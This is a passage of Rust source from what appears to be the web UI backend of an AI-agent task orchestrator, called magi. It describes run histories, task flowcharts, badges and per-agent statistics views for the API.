6317/// Describe one entry of a task's run list. Pure: everything it needs is on
6318/// the run and the task, so it is asserted without a server.
6319fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6320    let RunSlot {
6321        n,
6322        resumed,
6323        resumed_later,
6324        prior,
6325        last,
6326        pass,
6327        settled,
6328        pass_n,
6329        passes_of_run,
6330    } = at;
6331    let short = run::short_of(id).to_owned();
6332    let Some(s) = state else {
6333        return TaskRunView {
6334            activity: None,
6335            n,
6336            id: id.to_owned(),
6337            short,
6338            kind: "unknown",
6339            status: None,
6340            readable: false,
6341            provisional: false,
6342            description:
6343                "This run's record could not be read by this build (written by a different \
6344                          magi, or removed), so what kind of attempt it was is unknown."
6345                    .to_owned(),
6346            outcome: String::new(),
6347            created_at: None,
6348            pr: None,
6349            exit: RunExit::Unreadable,
6350            attempt: AttemptCost::Unknown,
6351            exit_label: RunExit::Unreadable.edge_label(None),
6352            later_pass: resumed_later,
6353            pass_n,
6354            passes_of_run,
6355            pass: None,
6356            branch: None,
6357            badge: None,
6358        };
6359    };
6360    let branch = review_branch_of(&s.instruction);
6361    let kind = if resumed {
6362        "resume"
6363    } else if branch.is_some() {
6364        "review"
6365    } else if task.solo || s.candidates.len() == 1 {
6366        "solo"
6367    } else {
6368        "competition"
6369    };
6370    let mut description = match kind {
6371        "resume" => {
6372            format!("Resumed run {short}: the same run carried on instead of competing again.")
6373        }
6374        "review" => format!(
6375            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6376            branch.unwrap_or_default()
6377        ),
6378        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6379        _ => format!(
6380            "Competition: {} candidates judged blind.",
6381            s.candidates.len().max(1)
6382        ),
6383    };
6384    if !resumed && let Some((p, st)) = prior {
6385        description.push_str(&format!(
6386            " A retry: run {p} before it ended {}.",
6387            st.display_label()
6388        ));
6389    }
6390
6391    let status = s.status;
6392    let provisional = matches!(status, RunStatus::Stalled)
6393        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6394    let head = if resumed_later.is_some() {
6395        String::new()
6396    } else {
6397        match status {
6398            RunStatus::Merged => "Merged.".to_owned(),
6399            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6400            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6401            RunStatus::AlreadyInBase => {
6402                "Already in the base: this change landed under other commits, nothing was left to land."
6403                    .to_owned()
6404            }
6405            RunStatus::Stalled => {
6406                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6407                    .to_owned()
6408            }
6409            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6410            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6411            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6412            RunStatus::VerifiedNoop => {
6413                "Verified no-op: the candidates found nothing to change.".to_owned()
6414            }
6415            other if other.done() => format!("Ended {}.", other.display_label()),
6416            other => format!("In progress ({}).", other.display_label()),
6417        }
6418    };
6419    let view = pass.map(|p| PassView::of(p, settled));
6420    let recorded_end = view
6421        .as_ref()
6422        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6423    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6424        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6425        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6426        None => "whether its attempt was handed back was not recorded",
6427    };
6428    let pass_note = if passes_of_run > 1 {
6429        format!(
6430            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6431        )
6432    } else {
6433        String::new()
6434    };
6435    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6436        // The run recorded this pass's end when it happened.
6437        let cause = match v.end {
6438            "parked" => format!("It was stopped on purpose: {}.", v.label),
6439            _ => format!("It {}.", v.label),
6440        };
6441        format!(
6442            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6443            capitalise(cost_words)
6444        )
6445    } else if let Some(k) = resumed_later {
6446        // A run is only picked up again while it is unfinished, so an earlier
6447        // pass of a repeated id stopped short; the record keeps only the run's
6448        // latest status, which is left to the pass that carried it on.
6449        // Only the latest state is recorded: `parked` is cleared on resume
6450        // and `quota` accumulates across passes, so neither says why *this*
6451        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6452        let cause = if s.quota.is_empty() {
6453            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6454        } else {
6455            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6456        };
6457        format!(
6458            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6459        )
6460    } else if s.parked {
6461        match recorded_end.and_then(|v| v.cause.as_ref()) {
6462            Some(cause) => format!(
6463                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6464                cause.label(),
6465                cost_words
6466            ),
6467            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6468                .to_owned(),
6469        }
6470    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6471        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6472    } else if !status.done()
6473        || matches!(
6474            status,
6475            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6476        )
6477    {
6478        String::new()
6479    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6480        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6481    {
6482        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6483            .to_owned()
6484    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6485        " It left a pull request open, so the task was held for a person rather than retried."
6486            .to_owned()
6487    } else if matches!(status, RunStatus::VerifiedNoop) {
6488        " Held for a person to check the claim.".to_owned()
6489    } else if last {
6490        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6491    } else {
6492        " It spent an attempt, and the task moved on to the next run.".to_owned()
6493    };
6494    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6495    let mut attempt = exit.cost();
6496    let mut exit_label = None;
6497    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6498        let spent = match v.cost {
6499            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6500            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6501            None if resumed_later.is_some() => ", refund not recorded",
6502            None => ", attempt refunded",
6503        };
6504        attempt = match v.cost {
6505            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6506            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6507            None if resumed_later.is_some() => AttemptCost::Unknown,
6508            None => attempt,
6509        };
6510        if v.end == "parked" {
6511            exit = RunExit::Parked;
6512            exit_label = Some(match v.cause.as_ref() {
6513                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6514                    format!("parked for {}{spent}", c.label())
6515                }
6516                Some(c) => format!("parked ({}){spent}", c.label()),
6517                None => format!("parked{spent}"),
6518            });
6519        } else {
6520            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6521        }
6522    }
6523    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6524    TaskRunView {
6525        activity: None,
6526        n,
6527        id: id.to_owned(),
6528        short,
6529        kind,
6530        status: Some(status.as_str()),
6531        readable: true,
6532        provisional,
6533        description,
6534        outcome: format!("{head}{why}"),
6535        created_at: Some(s.created_at),
6536        pr: s.pr.as_ref().map(|p| p.url.clone()),
6537        exit,
6538        attempt,
6539        exit_label,
6540        later_pass: resumed_later,
6541        pass_n,
6542        passes_of_run,
6543        pass: view,
6544        branch: branch.map(str::to_owned),
6545        badge: None,
6546    }
6547}
6548
6549fn capitalise(s: &str) -> String {
6550    let mut c = s.chars();
6551    c.next().map_or_else(String::new, |f| {
6552        f.to_uppercase().collect::<String>() + c.as_str()
6553    })
6554}
6555
6556/// One box of the task's flowchart.
6557#[derive(Debug, Serialize, PartialEq)]
6558struct FlowNode {
6559    /// Unique by position: a resumed run id appears once per pass.
6560    key: String,
6561    /// `chat`, `followup`, `start`, `run` or `end`.
6562    kind: &'static str,
6563    label: String,
6564    /// Run status (or the task's, for `end`); `None` when it is not a fact
6565    /// about this box (unreadable, or a pass the run later resumed from).
6566    status: Option<&'static str>,
6567    /// Whose status `status` is, so the client picks the right colour table:
6568    /// `task` (the `followup` parent and `end`) or `run`.
6569    status_of: &'static str,
6570    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6571    note: Option<&'static str>,
6572    run_kind: Option<&'static str>,
6573    detail: Option<String>,
6574    /// A readable run with a real verdict; a stall never is.
6575    decided: bool,
6576    readable: bool,
6577    href: Option<String>,
6578    /// Overrides `status` as the badge word (`stale` / `superseded`).
6579    badge: Option<String>,
6580    /// Start of this entry, never the run's latest update or pass settlement.
6581    started_at: Option<Timestamp>,
6582    /// Context links (chat / follow-up) do not represent execution entries.
6583    time_expected: bool,
6584}
6585
6586#[derive(Debug, Serialize, PartialEq)]
6587struct FlowEdge {
6588    from: String,
6589    to: String,
6590    label: String,
6591    attempt: AttemptCost,
6592}
6593
6594#[derive(Debug, Serialize, PartialEq)]
6595struct FlowView {
6596    nodes: Vec<FlowNode>,
6597    edges: Vec<FlowEdge>,
6598    /// Attempts the task has counted since it was last released.
6599    attempts: usize,
6600    max_attempts: usize,
6601    /// Entries in the run list (passes), and how many distinct runs they are.
6602    /// Neither is the number of attempts consumed.
6603    passes: usize,
6604    runs: usize,
6605}
6606
6607/// Turn a task and its described runs into the flowchart's boxes and arrows.
6608/// Pure: the page only draws what this returns.
6609///
6610/// A follow-up opens with its parent (or the merged run) unless the task's
6611/// *source* is itself a chat, in which case the chat stays first and the
6612/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6613/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6614/// two normally do not coincide and the nearer origin wins.
6615fn task_flow(
6616    task: &Task,
6617    history: &[TaskRunView],
6618    max_attempts: usize,
6619    origin: Option<&FollowUpOrigin>,
6620) -> FlowView {
6621    let max_attempts = task.effective_attempt_limit(max_attempts);
6622    let node = |key: &str, kind, label: String| FlowNode {
6623        key: key.to_owned(),
6624        kind,
6625        label,
6626        status: None,
6627        status_of: "run",
6628        note: None,
6629        run_kind: None,
6630        detail: None,
6631        decided: false,
6632        readable: true,
6633        href: None,
6634        badge: None,
6635        started_at: None,
6636        time_expected: matches!(kind, "start" | "run" | "end"),
6637    };
6638    let mut nodes = Vec::new();
6639    let mut edges: Vec<FlowEdge> = Vec::new();
6640    // A task queued from a chat opens the flow with that conversation.
6641    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6642        let mut n = node(
6643            "chat",
6644            "chat",
6645            format!("Chat {}", crate::queue::short(&link.id)),
6646        );
6647        n.href = Some(link.href);
6648        nodes.push(n);
6649        edges.push(FlowEdge {
6650            from: "chat".to_owned(),
6651            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6652            label: "queued from chat".to_owned(),
6653            attempt: AttemptCost::None,
6654        });
6655    }
6656    if let Some(o) = origin {
6657        let mut n = match &o.parent {
6658            Some(p) => {
6659                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6660                n.status = Some(p.status);
6661                n.status_of = "task";
6662                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6663                n.href = Some(p.href.clone());
6664                n
6665            }
6666            None => {
6667                let mut n = node(
6668                    "origin",
6669                    "followup",
6670                    format!("Follow-up of run {}", o.run.short),
6671                );
6672                n.detail = Some("merged run".to_owned());
6673                n.status = o.run.status;
6674                n.href = o.run.href.clone();
6675                if o.run.href.is_none() {
6676                    n.readable = false;
6677                    n.note = Some("unreadable");
6678                }
6679                n
6680            }
6681        };
6682        n.decided = true;
6683        let from = n.key.clone();
6684        nodes.push(n);
6685        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6686        let more = o.findings.len().saturating_sub(shown.len());
6687        let label = match (shown.is_empty(), more) {
6688            (true, _) => "open findings".to_owned(),
6689            (false, 0) => format!("open findings {}", shown.join(", ")),
6690            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6691        };
6692        edges.push(FlowEdge {
6693            from,
6694            to: "start".to_owned(),
6695            label,
6696            attempt: AttemptCost::None,
6697        });
6698    }
6699    let mut start = node("start", "start", "Task queued".to_owned());
6700    start.started_at = Some(task.created_at);
6701    nodes.push(start);
6702    let mut prev = "start".to_owned();
6703    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6704    for (i, h) in history.iter().enumerate() {
6705        let key = format!("run-{}", h.n);
6706        let mut n = node(&key, "run", format!("Run {}", h.short));
6707        // Creation marks only the first pass of legacy runs. A resumed pass
6708        // without a record must not inherit the original run's start time.
6709        n.started_at = h
6710            .readable
6711            .then(|| {
6712                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6713                    h.created_at
6714                } else {
6715                    None
6716                })
6717            })
6718            .flatten();
6719        n.run_kind = Some(h.kind);
6720        n.readable = h.readable;
6721        n.href = Some(format!("#/runs/{}", h.id));
6722        n.decided = h.readable && !h.provisional;
6723        n.detail = h
6724            .branch
6725            .as_ref()
6726            .map(|b| format!("review-only run of branch {b}"));
6727        match h.exit {
6728            RunExit::Unreadable => n.note = Some("unreadable"),
6729            RunExit::Interrupted => n.note = Some("interrupted"),
6730            // An earlier pass the run recorded as parked: the status shown
6731            // would be the run's current one, not this pass's.
6732            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6733            _ => {
6734                n.status = h.status;
6735                n.badge = h.badge.clone();
6736                if h.provisional {
6737                    n.note = Some("no verdict");
6738                }
6739            }
6740        }
6741        let into = match h.kind {
6742            "review" => Some(format!(
6743                "review-only run of branch {}",
6744                h.branch.as_deref().unwrap_or("?")
6745            )),
6746            "resume" => Some("resume the same run".to_owned()),
6747            _ if i > 0 => Some("retry".to_owned()),
6748            _ => None,
6749        };
6750        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6751        let label = match (prev_exit, into) {
6752            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6753            (Some((_, l, _)), None) => l,
6754            (None, Some(i)) => i,
6755            (None, None) => "claimed".to_owned(),
6756        };
6757        edges.push(FlowEdge {
6758            from: prev.clone(),
6759            to: key.clone(),
6760            label,
6761            attempt,
6762        });
6763        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6764        prev = key;
6765        nodes.push(n);
6766    }
6767    let mut end = node("end", "end", task.status.as_str().to_owned());
6768    end.status = Some(task.status.as_str());
6769    end.status_of = "task";
6770    // Other task states do not persist their transition start. In particular,
6771    // blocked_at can change while the task remains blocked.
6772    if task.status == TaskStatus::Held {
6773        end.started_at = task.held_at;
6774    }
6775    nodes.push(end);
6776    let (label, attempt) = match prev_exit {
6777        None => (
6778            format!("no run yet \u{2192} {}", task.status.as_str()),
6779            AttemptCost::None,
6780        ),
6781        Some((e, l, cost)) if e.explains(task.status) => {
6782            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6783        }
6784        Some((_, _, cost)) => (
6785            format!("closed by hand: task is {}", task.status.as_str()),
6786            cost,
6787        ),
6788    };
6789    edges.push(FlowEdge {
6790        from: prev,
6791        to: "end".to_owned(),
6792        label,
6793        attempt,
6794    });
6795    FlowView {
6796        nodes,
6797        edges,
6798        attempts: task.attempts,
6799        max_attempts,
6800        passes: history.len(),
6801        runs: distinct_runs(&task.runs),
6802    }
6803}
6804
6805/// How many different run ids a task's run list names.
6806fn distinct_runs(runs: &[String]) -> usize {
6807    let mut seen: Vec<&str> = Vec::new();
6808    for r in runs {
6809        if !seen.contains(&r.as_str()) {
6810            seen.push(r);
6811        }
6812    }
6813    seen.len()
6814}
6815
6816/// Describe recorded task passes, retaining unrecorded legacy list entries.
6817fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6818    let mut slots = Vec::new();
6819    let mut seen = Vec::new();
6820    for run_id in &task.runs {
6821        if seen.contains(&run_id) {
6822            continue;
6823        }
6824        seen.push(run_id);
6825        let state = read(run_id);
6826        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6827            s.passes
6828                .iter()
6829                .filter(|p| {
6830                    p.task_entry
6831                        || task
6832                            .passes
6833                            .iter()
6834                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6835                })
6836                .cloned()
6837                .collect()
6838        });
6839        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6840        let total = legacy_count.max(mine.len());
6841        let offset = total - mine.len();
6842        for k in 0..total {
6843            // Legacy repeated entries retain their original positions. When
6844            // ids are unique, recorded pass times recover the resume order.
6845            let position = task
6846                .runs
6847                .iter()
6848                .enumerate()
6849                .filter(|(_, r)| *r == run_id)
6850                .nth(k.min(legacy_count - 1))
6851                .unwrap()
6852                .0;
6853            slots.push((
6854                run_id,
6855                state.clone(),
6856                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6857                position,
6858            ));
6859        }
6860    }
6861    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6862        slots.sort_by_key(|(_, state, pass, _)| {
6863            pass.as_ref()
6864                .map(|p| p.started_at)
6865                .or_else(|| state.as_ref().map(|s| s.created_at))
6866                .map_or((true, task.created_at), |at| (false, at))
6867        });
6868    } else {
6869        slots.sort_by_key(|(_, _, _, position)| *position);
6870    }
6871    let mut history = Vec::with_capacity(slots.len());
6872    let mut seen: Vec<&str> = Vec::new();
6873    let mut prior: Option<(&str, RunStatus)> = None;
6874    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6875        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6876        let resumed = k > 0;
6877        seen.push(run_id);
6878        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6879        let pass = pass.as_ref();
6880        let settled = pass.and_then(|p| {
6881            task.passes
6882                .iter()
6883                .find(|t| t.run == **run_id && t.pass_index == p.index)
6884        });
6885        history.push(task_run_view(
6886            run_id,
6887            state.as_ref(),
6888            RunSlot {
6889                n: i + 1,
6890                resumed,
6891                resumed_later: slots[i + 1..]
6892                    .iter()
6893                    .position(|(id, _, _, _)| id == run_id)
6894                    .map(|off| i + off + 2),
6895                prior,
6896                last: i + 1 == slots.len(),
6897                pass,
6898                settled,
6899                pass_n: k + 1,
6900                passes_of_run: total,
6901            },
6902            task,
6903        ));
6904        if let Some(s) = &state {
6905            prior = Some((run::short_of(run_id), s.status));
6906        }
6907    }
6908    history
6909}
6910
6911/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6912/// An earlier pass of a resumed run keeps no badge (it has no status box).
6913fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6914    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6915        return;
6916    }
6917    let (_, claimed, _) = run_row_inputs(ui);
6918    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6919    for h in history
6920        .iter_mut()
6921        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6922    {
6923        let Ok(state) = read_run(&ui.runs, &h.id) else {
6924            continue;
6925        };
6926        if state.status.done() {
6927            continue;
6928        }
6929        let live = state.liveness_with(
6930            claimed.contains(&h.id),
6931            |p| probe.borrow_mut().status(p),
6932            |p| probe.borrow_mut().started_at(p),
6933        );
6934        let waiting = !ui.questions.open_for(&h.id).is_empty();
6935        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6936        let display = run_display_status(&state, waiting, live);
6937        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6938        if matches!(word.as_str(), "stale" | "superseded")
6939            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6940        {
6941            h.badge = Some(word);
6942        }
6943    }
6944}
6945
6946async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6947    blocking(move || {
6948        let id = resolve_task(&ui.queue, &id)?;
6949        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6950    })
6951    .await
6952}
6953
6954async fn task_detail(
6955    State(ui): State<Arc<Ui>>,
6956    Path(id): Path<String>,
6957) -> ApiResult<Json<TaskDetailView>> {
6958    blocking(move || {
6959        let id = resolve_task(&ui.queue, &id)?;
6960        let task = ui
6961            .queue
6962            .get(&id)
6963            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6964        let inv = if task.status == TaskStatus::Blocked {
6965            Some(crate::blockers::Inventory::load_for(
6966                &ui.queue,
6967                &ui.questions,
6968                &task,
6969            ))
6970        } else {
6971            None
6972        };
6973        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6974        mark_badges(&ui, &task, &mut history);
6975        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6976        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6977        let origin = task.followup.as_ref().map(|fu| {
6978            followup_origin(
6979                fu,
6980                |tid| ui.queue.get(tid).ok(),
6981                |rid| read_run(&ui.runs, rid).ok(),
6982            )
6983        });
6984        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6985        let task_view = match inv.as_ref() {
6986            Some(inv) => TaskView::with_inventory(task, inv),
6987            None => TaskView::from(task),
6988        }
6989        .with_recovery_decisions(&ui.questions);
6990        Ok(Json(TaskDetailView {
6991            max_attempts,
6992            flow,
6993            followup_origin: origin,
6994            passes_total: history.len(),
6995            runs_distinct: distinct_runs(&task_view.task.runs),
6996            history,
6997            runs_unreadable,
6998            attempts_note: ATTEMPTS_NOTE,
6999            task: task_view,
7000        }))
7001    })
7002    .await
7003}
7004
7005/// A rate together with its denominator, so the client can tell "computed as
7006/// 0%" apart from "no data to compute it from" — both would otherwise
7007/// serialize as `0.0`. `None` means the denominator was zero.
7008#[derive(Debug, Serialize)]
7009struct RateView {
7010    pct: f64,
7011    denominator: usize,
7012}
7013
7014impl RateView {
7015    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7016        (denominator > 0).then(|| Self {
7017            pct: 100.0 * numerator as f64 / denominator as f64,
7018            denominator,
7019        })
7020    }
7021}
7022
7023/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7024/// rates, each paired with its own denominator via [`RateView`] rather than
7025/// exposing `Stats`' own percentage methods directly — see this module's
7026/// doc for why `Stats` itself is never serialized.
7027#[derive(Debug, Serialize)]
7028struct StatsTotalsView {
7029    runs: usize,
7030    merged: usize,
7031    ready: usize,
7032    blocked: usize,
7033    failed: usize,
7034    stalled: usize,
7035    verified_noop: usize,
7036    superseded: usize,
7037    in_progress: usize,
7038    completion_rate: Option<RateView>,
7039    tallied: usize,
7040    split: usize,
7041    split_rate: Option<RateView>,
7042    deliberated: usize,
7043    minds_changed: usize,
7044    converged: usize,
7045    review_rounds: usize,
7046}
7047
7048impl From<&stats::Totals> for StatsTotalsView {
7049    fn from(t: &stats::Totals) -> Self {
7050        Self {
7051            runs: t.runs,
7052            merged: t.merged,
7053            ready: t.ready,
7054            blocked: t.blocked,
7055            failed: t.failed,
7056            stalled: t.stalled,
7057            verified_noop: t.verified_noop,
7058            superseded: t.superseded,
7059            in_progress: t.in_progress,
7060            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7061            tallied: t.tallied,
7062            split: t.split,
7063            split_rate: RateView::of(t.split, t.tallied),
7064            deliberated: t.deliberated,
7065            minds_changed: t.minds_changed,
7066            converged: t.converged,
7067            review_rounds: t.review_rounds,
7068        }
7069    }
7070}
7071
7072/// [`crate::stats::AgentStats`] for the wire.
7073#[derive(Debug, Serialize)]
7074struct AgentStatsView {
7075    agent: String,
7076    entered: usize,
7077    wins: usize,
7078    empty: usize,
7079    win_rate: Option<RateView>,
7080    competitive_entered: usize,
7081    competitive_wins: usize,
7082    competitive_win_rate: Option<RateView>,
7083    solo_entered: usize,
7084    solo_adopted: usize,
7085    solo_adoption_rate: Option<RateView>,
7086}
7087
7088impl From<&stats::AgentStats> for AgentStatsView {
7089    fn from(a: &stats::AgentStats) -> Self {
7090        Self {
7091            agent: a.agent.clone(),
7092            entered: a.entered,
7093            wins: a.wins,
7094            empty: a.empty,
7095            win_rate: RateView::of(a.wins, a.entered),
7096            competitive_entered: a.competitive_entered,
7097            competitive_wins: a.competitive_wins,
7098            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7099            solo_entered: a.solo_entered,
7100            solo_adopted: a.solo_adopted,
7101            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7102        }
7103    }
7104}
7105
7106/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7107/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7108/// value, `None` when `rounds` is zero.
7109#[derive(Debug, Serialize)]
7110struct ReviewerStatsView {
7111    agent: String,
7112    rounds: usize,
7113    seated: usize,
7114    submitted: usize,
7115    adopted: usize,
7116    unique: usize,
7117    timeouts: usize,
7118    adopted_per_round: Option<f64>,
7119    precision: Option<RateView>,
7120    unique_rate: Option<RateView>,
7121    timeout_rate: Option<RateView>,
7122}
7123
7124impl From<&stats::ReviewerStats> for ReviewerStatsView {
7125    fn from(r: &stats::ReviewerStats) -> Self {
7126        Self {
7127            agent: r.agent.clone(),
7128            rounds: r.rounds,
7129            seated: r.seated,
7130            submitted: r.submitted,
7131            adopted: r.adopted,
7132            unique: r.unique,
7133            timeouts: r.timeouts,
7134            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7135            precision: RateView::of(r.adopted, r.submitted),
7136            unique_rate: RateView::of(r.unique, r.submitted),
7137            timeout_rate: RateView::of(r.timeouts, r.seated),
7138        }
7139    }
7140}
7141
7142/// [`crate::stats::AdvisorStats`] for the wire.
7143///
7144/// `reflection_rate` is approximate by construction — see
7145/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7146/// that caveat is static text in `index.html`, not a field here.
7147#[derive(Debug, Serialize)]
7148struct AdvisorStatsView {
7149    agent: String,
7150    seated: usize,
7151    proposed: usize,
7152    absent: usize,
7153    faint: usize,
7154    strong: usize,
7155    reflection_rate: Option<RateView>,
7156}
7157
7158impl From<&stats::AdvisorStats> for AdvisorStatsView {
7159    fn from(a: &stats::AdvisorStats) -> Self {
7160        Self {
7161            agent: a.agent.clone(),
7162            seated: a.seated,
7163            proposed: a.proposed,
7164            absent: a.absent,
7165            faint: a.faint,
7166            strong: a.strong,
7167            reflection_rate: RateView::of(a.strong, a.proposed),
7168        }
7169    }
7170}
7171
7172/// [`crate::stats::E2eStats`] for the wire.
7173#[derive(Debug, Serialize)]
7174struct E2eStatsView {
7175    rounds: usize,
7176    failures: usize,
7177    sole_detections: usize,
7178    deferred: usize,
7179    sole_rate: Option<RateView>,
7180}
7181
7182impl From<&stats::E2eStats> for E2eStatsView {
7183    fn from(e: &stats::E2eStats) -> Self {
7184        Self {
7185            rounds: e.rounds,
7186            failures: e.failures,
7187            sole_detections: e.sole_detections,
7188            deferred: e.deferred,
7189            sole_rate: RateView::of(e.sole_detections, e.failures),
7190        }
7191    }
7192}
7193
7194/// [`crate::stats::ReleaseBumpStats`] for the wire.
7195///
7196/// `clean` is sent as a raw count, computed the same way
7197/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7198/// needs_attention`) — never derived client-side from `automerge_enabled`,
7199/// which would misclassify a `merged_directly` bump (automerge rejected, but
7200/// magi merged it directly, so no human involvement) as needing attention.
7201#[derive(Debug, Serialize)]
7202struct ReleaseBumpStatsView {
7203    merged: usize,
7204    recorded: usize,
7205    pr_opened: usize,
7206    automerge_enabled: usize,
7207    merged_directly: usize,
7208    needs_attention: usize,
7209    clean: usize,
7210    coverage_rate: Option<RateView>,
7211    automerge_rate: Option<RateView>,
7212    attention_rate: Option<RateView>,
7213}
7214
7215impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7216    fn from(b: &stats::ReleaseBumpStats) -> Self {
7217        Self {
7218            merged: b.merged,
7219            recorded: b.recorded,
7220            pr_opened: b.pr_opened,
7221            automerge_enabled: b.automerge_enabled,
7222            merged_directly: b.merged_directly,
7223            needs_attention: b.needs_attention,
7224            clean: b.clean(),
7225            coverage_rate: RateView::of(b.recorded, b.merged),
7226            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7227            attention_rate: RateView::of(b.needs_attention, b.recorded),
7228        }
7229    }
7230}
7231
7232/// [`crate::queue::TaskCounts`] for the wire.
7233#[derive(Debug, Serialize)]
7234struct TaskCountsView {
7235    queued: usize,
7236    running: usize,
7237    done: usize,
7238    failed: usize,
7239    held: usize,
7240    blocked: usize,
7241    parked: usize,
7242}
7243
7244impl From<crate::queue::TaskCounts> for TaskCountsView {
7245    fn from(c: crate::queue::TaskCounts) -> Self {
7246        Self {
7247            queued: c.queued,
7248            running: c.running,
7249            done: c.done,
7250            failed: c.failed,
7251            held: c.held,
7252            blocked: c.blocked,
7253            parked: c.parked,
7254        }
7255    }
7256}
7257
7258/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7259/// runs recorded — the summary the UI's repository selector is built from.
7260/// Carries no nested `Stats`: picking a repo means re-fetching
7261/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7262/// aggregation rather than duplicating it.
7263#[derive(Debug, Serialize)]
7264struct RepoSummaryView {
7265    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7266    /// against, full path and all (see [`stats_get`]'s own doc for why).
7267    repo: String,
7268    /// Display name only; never used for matching.
7269    name: String,
7270    runs: usize,
7271    completion_rate: Option<RateView>,
7272}
7273
